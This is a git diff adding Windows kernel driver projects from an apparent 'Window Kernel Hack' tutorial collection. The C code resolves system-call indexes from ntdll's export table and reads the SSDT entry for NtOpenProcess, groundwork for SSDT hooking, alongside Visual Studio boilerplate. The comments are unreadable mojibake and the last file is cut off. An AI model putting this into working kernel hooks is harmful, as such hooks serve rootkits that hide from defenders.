+ lpName = (PCHAR)((PUCHAR)pDosHeader + lpNameArray[i]); + // жǷҵĺ + if (0 == _strnicmp(pszFunctionName, lpName, strlen(pszFunctionName))) + { + // ȡַ + USHORT uHint = *(USHORT *)((PUCHAR)pDosHeader + pExportTable->AddressOfNameOrdinals + 2 * i); + ULONG ulFuncAddr = *(PULONG)((PUCHAR)pDosHeader + pExportTable->AddressOfFunctions + 4 * uHint); + PVOID lpFuncAddr = (PVOID)((PUCHAR)pDosHeader + ulFuncAddr); + // ȡ SSDT Index +#ifdef _WIN64 + ulFunctionIndex = *(ULONG *)((PUCHAR)lpFuncAddr + 4); +#else + ulFunctionIndex = *(ULONG *)((PUCHAR)lpFuncAddr + 1); +#endif + break; + } + } + + return ulFunctionIndex; +} \ No newline at end of file diff --git "a/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/SSDT HOOK/GetSSDTFunctionIndex_Test/GetSSDTFunctionIndex_Test/SSDTFunctionIndex.h" "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/SSDT HOOK/GetSSDTFunctionIndex_Test/GetSSDTFunctionIndex_Test/SSDTFunctionIndex.h" new file mode 100644 index 0000000..6cbadc7 --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/SSDT HOOK/GetSSDTFunctionIndex_Test/GetSSDTFunctionIndex_Test/SSDTFunctionIndex.h" @@ -0,0 +1,19 @@ +#ifndef _SSDT_FUNCTION_INDEX_H_ +#define _SSDT_FUNCTION_INDEX_H_ + + +#include +#include + + +// ntdll.dll лȡ SSDT +ULONG GetSSDTFunctionIndex(UNICODE_STRING ustrDllFileName, PCHAR pszFunctionName); + +// ڴӳļ +NTSTATUS DllFileMap(UNICODE_STRING ustrDllFileName, HANDLE *phFile, HANDLE *phSection, PVOID *ppBaseAddress); + +// ݵȡַ, Ӷȡ SSDT +ULONG GetIndexFromExportTable(PVOID pBaseAddress, PCHAR pszFunctionName); + + +#endif \ No newline at end of file diff --git "a/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/SSDT HOOK/SSDTFunction_32_Test/SSDTFunction_32_Test.sln" "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/SSDT HOOK/SSDTFunction_32_Test/SSDTFunction_32_Test.sln" new file mode 100644 index 0000000..76fa46a --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/SSDT HOOK/SSDTFunction_32_Test/SSDTFunction_32_Test.sln" @@ -0,0 +1,64 @@ + +Microsoft Visual Studio Solution File, Format Version 12.00 +# Visual Studio 2013 +VisualStudioVersion = 12.0.40629.0 +MinimumVisualStudioVersion = 10.0.40219.1 +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "SSDTFunction_32_Test", "SSDTFunction_32_Test\SSDTFunction_32_Test.vcxproj", "{B31C6477-2259-40F5-80FD-8CCAC9FE9F21}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Win7 Debug|Win32 = Win7 Debug|Win32 + Win7 Debug|x64 = Win7 Debug|x64 + Win7 Release|Win32 = Win7 Release|Win32 + Win7 Release|x64 = Win7 Release|x64 + Win8 Debug|Win32 = Win8 Debug|Win32 + Win8 Debug|x64 = Win8 Debug|x64 + Win8 Release|Win32 = Win8 Release|Win32 + Win8 Release|x64 = Win8 Release|x64 + Win8.1 Debug|Win32 = Win8.1 Debug|Win32 + Win8.1 Debug|x64 = Win8.1 Debug|x64 + Win8.1 Release|Win32 = Win8.1 Release|Win32 + Win8.1 Release|x64 = Win8.1 Release|x64 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {B31C6477-2259-40F5-80FD-8CCAC9FE9F21}.Win7 Debug|Win32.ActiveCfg = Win7 Debug|Win32 + {B31C6477-2259-40F5-80FD-8CCAC9FE9F21}.Win7 Debug|Win32.Build.0 = Win7 Debug|Win32 + {B31C6477-2259-40F5-80FD-8CCAC9FE9F21}.Win7 Debug|Win32.Deploy.0 = Win7 Debug|Win32 + {B31C6477-2259-40F5-80FD-8CCAC9FE9F21}.Win7 Debug|x64.ActiveCfg = Win7 Debug|x64 + {B31C6477-2259-40F5-80FD-8CCAC9FE9F21}.Win7 Debug|x64.Build.0 = Win7 Debug|x64 + {B31C6477-2259-40F5-80FD-8CCAC9FE9F21}.Win7 Debug|x64.Deploy.0 = Win7 Debug|x64 + {B31C6477-2259-40F5-80FD-8CCAC9FE9F21}.Win7 Release|Win32.ActiveCfg = Win7 Release|Win32 + {B31C6477-2259-40F5-80FD-8CCAC9FE9F21}.Win7 Release|Win32.Build.0 = Win7 Release|Win32 + {B31C6477-2259-40F5-80FD-8CCAC9FE9F21}.Win7 Release|Win32.Deploy.0 = Win7 Release|Win32 + {B31C6477-2259-40F5-80FD-8CCAC9FE9F21}.Win7 Release|x64.ActiveCfg = Win7 Release|x64 + {B31C6477-2259-40F5-80FD-8CCAC9FE9F21}.Win7 Release|x64.Build.0 = Win7 Release|x64 + {B31C6477-2259-40F5-80FD-8CCAC9FE9F21}.Win7 Release|x64.Deploy.0 = Win7 Release|x64 + {B31C6477-2259-40F5-80FD-8CCAC9FE9F21}.Win8 Debug|Win32.ActiveCfg = Win8 Debug|Win32 + {B31C6477-2259-40F5-80FD-8CCAC9FE9F21}.Win8 Debug|Win32.Build.0 = Win8 Debug|Win32 + {B31C6477-2259-40F5-80FD-8CCAC9FE9F21}.Win8 Debug|Win32.Deploy.0 = Win8 Debug|Win32 + {B31C6477-2259-40F5-80FD-8CCAC9FE9F21}.Win8 Debug|x64.ActiveCfg = Win8 Debug|x64 + {B31C6477-2259-40F5-80FD-8CCAC9FE9F21}.Win8 Debug|x64.Build.0 = Win8 Debug|x64 + {B31C6477-2259-40F5-80FD-8CCAC9FE9F21}.Win8 Debug|x64.Deploy.0 = Win8 Debug|x64 + {B31C6477-2259-40F5-80FD-8CCAC9FE9F21}.Win8 Release|Win32.ActiveCfg = Win8 Release|Win32 + {B31C6477-2259-40F5-80FD-8CCAC9FE9F21}.Win8 Release|Win32.Build.0 = Win8 Release|Win32 + {B31C6477-2259-40F5-80FD-8CCAC9FE9F21}.Win8 Release|Win32.Deploy.0 = Win8 Release|Win32 + {B31C6477-2259-40F5-80FD-8CCAC9FE9F21}.Win8 Release|x64.ActiveCfg = Win8 Release|x64 + {B31C6477-2259-40F5-80FD-8CCAC9FE9F21}.Win8 Release|x64.Build.0 = Win8 Release|x64 + {B31C6477-2259-40F5-80FD-8CCAC9FE9F21}.Win8 Release|x64.Deploy.0 = Win8 Release|x64 + {B31C6477-2259-40F5-80FD-8CCAC9FE9F21}.Win8.1 Debug|Win32.ActiveCfg = Win8.1 Debug|Win32 + {B31C6477-2259-40F5-80FD-8CCAC9FE9F21}.Win8.1 Debug|Win32.Build.0 = Win8.1 Debug|Win32 + {B31C6477-2259-40F5-80FD-8CCAC9FE9F21}.Win8.1 Debug|Win32.Deploy.0 = Win8.1 Debug|Win32 + {B31C6477-2259-40F5-80FD-8CCAC9FE9F21}.Win8.1 Debug|x64.ActiveCfg = Win8.1 Debug|x64 + {B31C6477-2259-40F5-80FD-8CCAC9FE9F21}.Win8.1 Debug|x64.Build.0 = Win8.1 Debug|x64 + {B31C6477-2259-40F5-80FD-8CCAC9FE9F21}.Win8.1 Debug|x64.Deploy.0 = Win8.1 Debug|x64 + {B31C6477-2259-40F5-80FD-8CCAC9FE9F21}.Win8.1 Release|Win32.ActiveCfg = Win8.1 Release|Win32 + {B31C6477-2259-40F5-80FD-8CCAC9FE9F21}.Win8.1 Release|Win32.Build.0 = Win8.1 Release|Win32 + {B31C6477-2259-40F5-80FD-8CCAC9FE9F21}.Win8.1 Release|Win32.Deploy.0 = Win8.1 Release|Win32 + {B31C6477-2259-40F5-80FD-8CCAC9FE9F21}.Win8.1 Release|x64.ActiveCfg = Win8.1 Release|x64 + {B31C6477-2259-40F5-80FD-8CCAC9FE9F21}.Win8.1 Release|x64.Build.0 = Win8.1 Release|x64 + {B31C6477-2259-40F5-80FD-8CCAC9FE9F21}.Win8.1 Release|x64.Deploy.0 = Win8.1 Release|x64 + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection +EndGlobal diff --git "a/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/SSDT HOOK/SSDTFunction_32_Test/SSDTFunction_32_Test.v12.suo" "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/SSDT HOOK/SSDTFunction_32_Test/SSDTFunction_32_Test.v12.suo" new file mode 100644 index 0000000..d38a9a3 Binary files /dev/null and "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/SSDT HOOK/SSDTFunction_32_Test/SSDTFunction_32_Test.v12.suo" differ diff --git "a/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/SSDT HOOK/SSDTFunction_32_Test/SSDTFunction_32_Test/Driver.c" "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/SSDT HOOK/SSDTFunction_32_Test/SSDTFunction_32_Test/Driver.c" new file mode 100644 index 0000000..f5ed0a1 --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/SSDT HOOK/SSDTFunction_32_Test/SSDTFunction_32_Test/Driver.c" @@ -0,0 +1,38 @@ +#include "Driver.h" +#include "SSDTFunction.h" + + +NTSTATUS DriverEntry(PDRIVER_OBJECT pDriverObject, PUNICODE_STRING pRegPath) +{ + DbgPrint("Enter DriverEntry\n"); + + NTSTATUS status = STATUS_SUCCESS; + pDriverObject->DriverUnload = DriverUnload; + for (ULONG i = 0; i < IRP_MJ_MAXIMUM_FUNCTION; i++) + { + pDriverObject->MajorFunction[i] = DriverDefaultHandle; + } + + // ȡ SSDT ַ + GetSSDTFunction("NtOpenProcess"); + + DbgPrint("Leave DriverEntry\n"); + return status; +} + + + +VOID DriverUnload(PDRIVER_OBJECT pDriverObject) +{ +} + + +NTSTATUS DriverDefaultHandle(PDEVICE_OBJECT pDevObj, PIRP pIrp) +{ + NTSTATUS status = STATUS_SUCCESS; + pIrp->IoStatus.Status = status; + pIrp->IoStatus.Information = 0; + IoCompleteRequest(pIrp, IO_NO_INCREMENT); + + return status; +} \ No newline at end of file diff --git "a/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/SSDT HOOK/SSDTFunction_32_Test/SSDTFunction_32_Test/Driver.h" "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/SSDT HOOK/SSDTFunction_32_Test/SSDTFunction_32_Test/Driver.h" new file mode 100644 index 0000000..0822089 --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/SSDT HOOK/SSDTFunction_32_Test/SSDTFunction_32_Test/Driver.h" @@ -0,0 +1,12 @@ +#ifndef _DRIVER_H_ +#define _DRIVER_H_ + + +#include + + +VOID DriverUnload(PDRIVER_OBJECT pDriverObject); +NTSTATUS DriverDefaultHandle(PDEVICE_OBJECT pDevObj, PIRP pIrp); + + +#endif \ No newline at end of file diff --git "a/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/SSDT HOOK/SSDTFunction_32_Test/SSDTFunction_32_Test/SSDTFunction.c" "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/SSDT HOOK/SSDTFunction_32_Test/SSDTFunction_32_Test/SSDTFunction.c" new file mode 100644 index 0000000..db0c725 --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/SSDT HOOK/SSDTFunction_32_Test/SSDTFunction_32_Test/SSDTFunction.c" @@ -0,0 +1,135 @@ +#include "SSDTFunction.h" + + +// ȡ SSDT ַ +PVOID GetSSDTFunction(PCHAR pszFunctionName) +{ + UNICODE_STRING ustrDllFileName; + ULONG ulSSDTFunctionIndex = 0; + PVOID pFunctionAddress = NULL; + + RtlInitUnicodeString(&ustrDllFileName, L"\\??\\C:\\Windows\\System32\\ntdll.dll"); + // ntdll.dll лȡ SSDT + ulSSDTFunctionIndex = GetSSDTFunctionIndex(ustrDllFileName, pszFunctionName); + + // , SSDTлȡӦַ + pFunctionAddress = (PVOID)KeServiceDescriptorTable.ServiceTableBase[ulSSDTFunctionIndex]; + + // ʾ + DbgPrint("[%s][Index:%d][Address:0x%p]\n", pszFunctionName, ulSSDTFunctionIndex, pFunctionAddress); + + return pFunctionAddress; +} + + +// ntdll.dll лȡ SSDT +ULONG GetSSDTFunctionIndex(UNICODE_STRING ustrDllFileName, PCHAR pszFunctionName) +{ + ULONG ulFunctionIndex = 0; + NTSTATUS status = STATUS_SUCCESS; + HANDLE hFile = NULL; + HANDLE hSection = NULL; + PVOID pBaseAddress = NULL; + + // ڴӳļ + status = DllFileMap(ustrDllFileName, &hFile, &hSection, &pBaseAddress); + if (!NT_SUCCESS(status)) + { + KdPrint(("DllFileMap Error!\n")); + return ulFunctionIndex; + } + + // ݵȡַ, Ӷȡ SSDT + ulFunctionIndex = GetIndexFromExportTable(pBaseAddress, pszFunctionName); + + // ͷ + ZwUnmapViewOfSection(NtCurrentProcess(), pBaseAddress); + ZwClose(hSection); + ZwClose(hFile); + + return ulFunctionIndex; +} + +// ڴӳļ +NTSTATUS DllFileMap(UNICODE_STRING ustrDllFileName, HANDLE *phFile, HANDLE *phSection, PVOID *ppBaseAddress) +{ + NTSTATUS status = STATUS_SUCCESS; + HANDLE hFile = NULL; + HANDLE hSection = NULL; + OBJECT_ATTRIBUTES objectAttributes = { 0 }; + IO_STATUS_BLOCK iosb = { 0 }; + PVOID pBaseAddress = NULL; + SIZE_T viewSize = 0; + // DLL ļ, ȡļ + InitializeObjectAttributes(&objectAttributes, &ustrDllFileName, OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE, NULL, NULL); + status = ZwOpenFile(&hFile, GENERIC_READ, &objectAttributes, &iosb, + FILE_SHARE_READ, FILE_SYNCHRONOUS_IO_NONALERT); + if (!NT_SUCCESS(status)) + { + KdPrint(("ZwOpenFile Error! [error code: 0x%X]", status)); + return status; + } + // һڶ, PE ṹе SectionALignment Сӳļ + status = ZwCreateSection(&hSection, SECTION_MAP_READ | SECTION_MAP_WRITE, NULL, 0, PAGE_READWRITE, 0x1000000, hFile); + if (!NT_SUCCESS(status)) + { + ZwClose(hFile); + KdPrint(("ZwCreateSection Error! [error code: 0x%X]", status)); + return status; + } + // ӳ䵽ڴ + status = ZwMapViewOfSection(hSection, NtCurrentProcess(), &pBaseAddress, 0, 1024, 0, &viewSize, ViewShare, MEM_TOP_DOWN, PAGE_READWRITE); + if (!NT_SUCCESS(status)) + { + ZwClose(hSection); + ZwClose(hFile); + KdPrint(("ZwMapViewOfSection Error! [error code: 0x%X]", status)); + return status; + } + + // + *phFile = hFile; + *phSection = hSection; + *ppBaseAddress = pBaseAddress; + + return status; +} + +// ݵȡַ, Ӷȡ SSDT +ULONG GetIndexFromExportTable(PVOID pBaseAddress, PCHAR pszFunctionName) +{ + ULONG ulFunctionIndex = 0; + // Dos Header + PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)pBaseAddress; + // NT Header + PIMAGE_NT_HEADERS pNtHeaders = (PIMAGE_NT_HEADERS)((PUCHAR)pDosHeader + pDosHeader->e_lfanew); + // Export Table + PIMAGE_EXPORT_DIRECTORY pExportTable = (PIMAGE_EXPORT_DIRECTORY)((PUCHAR)pDosHeader + pNtHeaders->OptionalHeader.DataDirectory[0].VirtualAddress); + // Ƶĵ + ULONG ulNumberOfNames = pExportTable->NumberOfNames; + // Ƶַ + PULONG lpNameArray = (PULONG)((PUCHAR)pDosHeader + pExportTable->AddressOfNames); + PCHAR lpName = NULL; + // ʼ + for (ULONG i = 0; i < ulNumberOfNames; i++) + { + lpName = (PCHAR)((PUCHAR)pDosHeader + lpNameArray[i]); + // жǷҵĺ + if (0 == _strnicmp(pszFunctionName, lpName, strlen(pszFunctionName))) + { + // ȡַ + USHORT uHint = *(USHORT *)((PUCHAR)pDosHeader + pExportTable->AddressOfNameOrdinals + 2 * i); + ULONG ulFuncAddr = *(PULONG)((PUCHAR)pDosHeader + pExportTable->AddressOfFunctions + 4 * uHint); + PVOID lpFuncAddr = (PVOID)((PUCHAR)pDosHeader + ulFuncAddr); + // ȡ SSDT Index +#ifdef _WIN64 + ulFunctionIndex = *(ULONG *)((PUCHAR)lpFuncAddr + 4); +#else + ulFunctionIndex = *(ULONG *)((PUCHAR)lpFuncAddr + 1); +#endif + break; + } + } + + return ulFunctionIndex; +} \ No newline at end of file diff --git "a/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/SSDT HOOK/SSDTFunction_32_Test/SSDTFunction_32_Test/SSDTFunction.h" "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/SSDT HOOK/SSDTFunction_32_Test/SSDTFunction_32_Test/SSDTFunction.h" new file mode 100644 index 0000000..9c58d41 --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/SSDT HOOK/SSDTFunction_32_Test/SSDTFunction_32_Test/SSDTFunction.h" @@ -0,0 +1,34 @@ +#ifndef _SSDT_FUNCTION_H_ +#define _SSDT_FUNCTION_H_ + + +#include +#include + + +#pragma pack(1) +typedef struct _SERVICE_DESCIPTOR_TABLE +{ + PULONG ServiceTableBase; // SSDTַ + PULONG ServiceCounterTableBase; // SSDTз񱻵ô + ULONG NumberOfService; // SSDT + PUCHAR ParamTableBase; // ϵͳַ +}SSDTEntry, *PSSDTEntry; +#pragma pack() + +// ֱӻȡ SSDT +extern SSDTEntry __declspec(dllimport) KeServiceDescriptorTable; + + +// ȡ SSDT ַ +PVOID GetSSDTFunction(PCHAR pszFunctionName); + +// ntdll.dll лȡ SSDT +ULONG GetSSDTFunctionIndex(UNICODE_STRING ustrDllFileName, PCHAR pszFunctionName); +// ڴӳļ +NTSTATUS DllFileMap(UNICODE_STRING ustrDllFileName, HANDLE *phFile, HANDLE *phSection, PVOID *ppBaseAddress); +// ݵȡַ, Ӷȡ SSDT +ULONG GetIndexFromExportTable(PVOID pBaseAddress, PCHAR pszFunctionName); + + +#endif \ No newline at end of file diff --git "a/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/SSDT HOOK/SSDTFunction_32_Test/SSDTFunction_32_Test/SSDTFunction_32_Test.inf" "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/SSDT HOOK/SSDTFunction_32_Test/SSDTFunction_32_Test/SSDTFunction_32_Test.inf" new file mode 100644 index 0000000..c2f201b --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/SSDT HOOK/SSDTFunction_32_Test/SSDTFunction_32_Test/SSDTFunction_32_Test.inf" @@ -0,0 +1,32 @@ +; +; SSDTFunction_32_Test.inf +; + +[Version] +Signature="$WINDOWS NT$" +Class= +ClassGuid= +Provider= +DriverVer= +CatalogFile= + +[DestinationDirs] +DefaultDestDir = 12 + + +[SourceDisksNames] +1 = %DiskName%,,,"" + +[SourceDisksFiles] + + +[Manufacturer] +%ManufacturerName%=Standard,NT$ARCH$ + +[Standard.NT$ARCH$] + + +[Strings] +ManufacturerName="" +ClassName="" +DiskName="SSDTFunction_32_Test Source Disk" diff --git "a/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/SSDT HOOK/SSDTFunction_32_Test/SSDTFunction_32_Test/SSDTFunction_32_Test.vcxproj" "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/SSDT HOOK/SSDTFunction_32_Test/SSDTFunction_32_Test/SSDTFunction_32_Test.vcxproj" new file mode 100644 index 0000000..2a4506a --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/SSDT HOOK/SSDTFunction_32_Test/SSDTFunction_32_Test/SSDTFunction_32_Test.vcxproj" @@ -0,0 +1,235 @@ + + + + + Win8.1 Debug + Win32 + + + Win8.1 Release + Win32 + + + Win8 Debug + Win32 + + + Win8 Release + Win32 + + + Win7 Debug + Win32 + + + Win7 Release + Win32 + + + Win8.1 Debug + x64 + + + Win8.1 Release + x64 + + + Win8 Debug + x64 + + + Win8 Release + x64 + + + Win7 Debug + x64 + + + Win7 Release + x64 + + + + {B31C6477-2259-40F5-80FD-8CCAC9FE9F21} + {dd38f7fc-d7bd-488b-9242-7d8754cde80d} + v4.5 + 11.0 + Win8.1 Debug + Win32 + SSDTFunction_32_Test + + + + WindowsV6.3 + true + WindowsKernelModeDriver8.1 + Driver + WDM + + + WindowsV6.3 + false + WindowsKernelModeDriver8.1 + Driver + WDM + + + Windows8 + true + WindowsKernelModeDriver8.1 + Driver + WDM + + + Windows8 + false + WindowsKernelModeDriver8.1 + Driver + WDM + + + Windows7 + true + WindowsKernelModeDriver8.1 + Driver + WDM + + + Windows7 + false + WindowsKernelModeDriver8.1 + Driver + WDM + + + WindowsV6.3 + true + WindowsKernelModeDriver8.1 + Driver + WDM + + + WindowsV6.3 + false + WindowsKernelModeDriver8.1 + Driver + WDM + + + Windows8 + true + WindowsKernelModeDriver8.1 + Driver + WDM + + + Windows8 + false + WindowsKernelModeDriver8.1 + Driver + WDM + + + Windows7 + true + WindowsKernelModeDriver8.1 + Driver + WDM + + + Windows7 + false + WindowsKernelModeDriver8.1 + Driver + WDM + + + + + + + + + + + DbgengKernelDebugger + + + DbgengKernelDebugger + + + DbgengKernelDebugger + + + DbgengKernelDebugger + + + DbgengKernelDebugger + + + DbgengKernelDebugger + + + DbgengKernelDebugger + + + DbgengKernelDebugger + + + DbgengKernelDebugger + + + DbgengKernelDebugger + + + DbgengKernelDebugger + + + DbgengKernelDebugger + + + + Level3 + + + + + false + + + false + + + + + Level3 + + + + + false + + + false + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git "a/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/SSDT HOOK/SSDTFunction_32_Test/SSDTFunction_32_Test/SSDTFunction_32_Test.vcxproj.filters" "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/SSDT HOOK/SSDTFunction_32_Test/SSDTFunction_32_Test/SSDTFunction_32_Test.vcxproj.filters" new file mode 100644 index 0000000..4da2f1b --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/SSDT HOOK/SSDTFunction_32_Test/SSDTFunction_32_Test/SSDTFunction_32_Test.vcxproj.filters" @@ -0,0 +1,42 @@ + + + + + {4FC737F1-C7A5-4376-A066-2A32D752A2FF} + cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx + + + {93995380-89BD-4b04-88EB-625FBE52EBFB} + h;hpp;hxx;hm;inl;inc;xsd + + + {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} + rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms + + + {8E41214B-6785-4CFE-B992-037D68949A14} + inf;inv;inx;mof;mc; + + + + + Driver Files + + + + + Header Files + + + Header Files + + + + + Source Files + + + Source Files + + + \ No newline at end of file diff --git "a/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/SSDT HOOK/SSDTFunction_32_Test/SSDTFunction_32_Test/SSDTFunction_32_Test.vcxproj.user" "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/SSDT HOOK/SSDTFunction_32_Test/SSDTFunction_32_Test/SSDTFunction_32_Test.vcxproj.user" new file mode 100644 index 0000000..c8de197 --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/SSDT HOOK/SSDTFunction_32_Test/SSDTFunction_32_Test/SSDTFunction_32_Test.vcxproj.user" @@ -0,0 +1,9 @@ + + + + Off + + + Off + + \ No newline at end of file diff --git "a/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/SSDT HOOK/SSDTFunction_64_Test/SSDTFunction_64_Test.sln" "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/SSDT HOOK/SSDTFunction_64_Test/SSDTFunction_64_Test.sln" new file mode 100644 index 0000000..69a659f --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/SSDT HOOK/SSDTFunction_64_Test/SSDTFunction_64_Test.sln" @@ -0,0 +1,64 @@ + +Microsoft Visual Studio Solution File, Format Version 12.00 +# Visual Studio 2013 +VisualStudioVersion = 12.0.40629.0 +MinimumVisualStudioVersion = 10.0.40219.1 +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "SSDTFunction_64_Test", "SSDTFunction_64_Test\SSDTFunction_64_Test.vcxproj", "{778AE982-0F4E-4026-972D-5F78A7C1494E}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Win7 Debug|Win32 = Win7 Debug|Win32 + Win7 Debug|x64 = Win7 Debug|x64 + Win7 Release|Win32 = Win7 Release|Win32 + Win7 Release|x64 = Win7 Release|x64 + Win8 Debug|Win32 = Win8 Debug|Win32 + Win8 Debug|x64 = Win8 Debug|x64 + Win8 Release|Win32 = Win8 Release|Win32 + Win8 Release|x64 = Win8 Release|x64 + Win8.1 Debug|Win32 = Win8.1 Debug|Win32 + Win8.1 Debug|x64 = Win8.1 Debug|x64 + Win8.1 Release|Win32 = Win8.1 Release|Win32 + Win8.1 Release|x64 = Win8.1 Release|x64 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {778AE982-0F4E-4026-972D-5F78A7C1494E}.Win7 Debug|Win32.ActiveCfg = Win7 Debug|Win32 + {778AE982-0F4E-4026-972D-5F78A7C1494E}.Win7 Debug|Win32.Build.0 = Win7 Debug|Win32 + {778AE982-0F4E-4026-972D-5F78A7C1494E}.Win7 Debug|Win32.Deploy.0 = Win7 Debug|Win32 + {778AE982-0F4E-4026-972D-5F78A7C1494E}.Win7 Debug|x64.ActiveCfg = Win7 Debug|x64 + {778AE982-0F4E-4026-972D-5F78A7C1494E}.Win7 Debug|x64.Build.0 = Win7 Debug|x64 + {778AE982-0F4E-4026-972D-5F78A7C1494E}.Win7 Debug|x64.Deploy.0 = Win7 Debug|x64 + {778AE982-0F4E-4026-972D-5F78A7C1494E}.Win7 Release|Win32.ActiveCfg = Win7 Release|Win32 + {778AE982-0F4E-4026-972D-5F78A7C1494E}.Win7 Release|Win32.Build.0 = Win7 Release|Win32 + {778AE982-0F4E-4026-972D-5F78A7C1494E}.Win7 Release|Win32.Deploy.0 = Win7 Release|Win32 + {778AE982-0F4E-4026-972D-5F78A7C1494E}.Win7 Release|x64.ActiveCfg = Win7 Release|x64 + {778AE982-0F4E-4026-972D-5F78A7C1494E}.Win7 Release|x64.Build.0 = Win7 Release|x64 + {778AE982-0F4E-4026-972D-5F78A7C1494E}.Win7 Release|x64.Deploy.0 = Win7 Release|x64 + {778AE982-0F4E-4026-972D-5F78A7C1494E}.Win8 Debug|Win32.ActiveCfg = Win8 Debug|Win32 + {778AE982-0F4E-4026-972D-5F78A7C1494E}.Win8 Debug|Win32.Build.0 = Win8 Debug|Win32 + {778AE982-0F4E-4026-972D-5F78A7C1494E}.Win8 Debug|Win32.Deploy.0 = Win8 Debug|Win32 + {778AE982-0F4E-4026-972D-5F78A7C1494E}.Win8 Debug|x64.ActiveCfg = Win8 Debug|x64 + {778AE982-0F4E-4026-972D-5F78A7C1494E}.Win8 Debug|x64.Build.0 = Win8 Debug|x64 + {778AE982-0F4E-4026-972D-5F78A7C1494E}.Win8 Debug|x64.Deploy.0 = Win8 Debug|x64 + {778AE982-0F4E-4026-972D-5F78A7C1494E}.Win8 Release|Win32.ActiveCfg = Win8 Release|Win32 + {778AE982-0F4E-4026-972D-5F78A7C1494E}.Win8 Release|Win32.Build.0 = Win8 Release|Win32 + {778AE982-0F4E-4026-972D-5F78A7C1494E}.Win8 Release|Win32.Deploy.0 = Win8 Release|Win32 + {778AE982-0F4E-4026-972D-5F78A7C1494E}.Win8 Release|x64.ActiveCfg = Win8 Release|x64 + {778AE982-0F4E-4026-972D-5F78A7C1494E}.Win8 Release|x64.Build.0 = Win8 Release|x64 + {778AE982-0F4E-4026-972D-5F78A7C1494E}.Win8 Release|x64.Deploy.0 = Win8 Release|x64 + {778AE982-0F4E-4026-972D-5F78A7C1494E}.Win8.1 Debug|Win32.ActiveCfg = Win8.1 Debug|Win32 + {778AE982-0F4E-4026-972D-5F78A7C1494E}.Win8.1 Debug|Win32.Build.0 = Win8.1 Debug|Win32 + {778AE982-0F4E-4026-972D-5F78A7C1494E}.Win8.1 Debug|Win32.Deploy.0 = Win8.1 Debug|Win32 + {778AE982-0F4E-4026-972D-5F78A7C1494E}.Win8.1 Debug|x64.ActiveCfg = Win8.1 Debug|x64 + {778AE982-0F4E-4026-972D-5F78A7C1494E}.Win8.1 Debug|x64.Build.0 = Win8.1 Debug|x64 + {778AE982-0F4E-4026-972D-5F78A7C1494E}.Win8.1 Debug|x64.Deploy.0 = Win8.1 Debug|x64 + {778AE982-0F4E-4026-972D-5F78A7C1494E}.Win8.1 Release|Win32.ActiveCfg = Win8.1 Release|Win32 + {778AE982-0F4E-4026-972D-5F78A7C1494E}.Win8.1 Release|Win32.Build.0 = Win8.1 Release|Win32 + {778AE982-0F4E-4026-972D-5F78A7C1494E}.Win8.1 Release|Win32.Deploy.0 = Win8.1 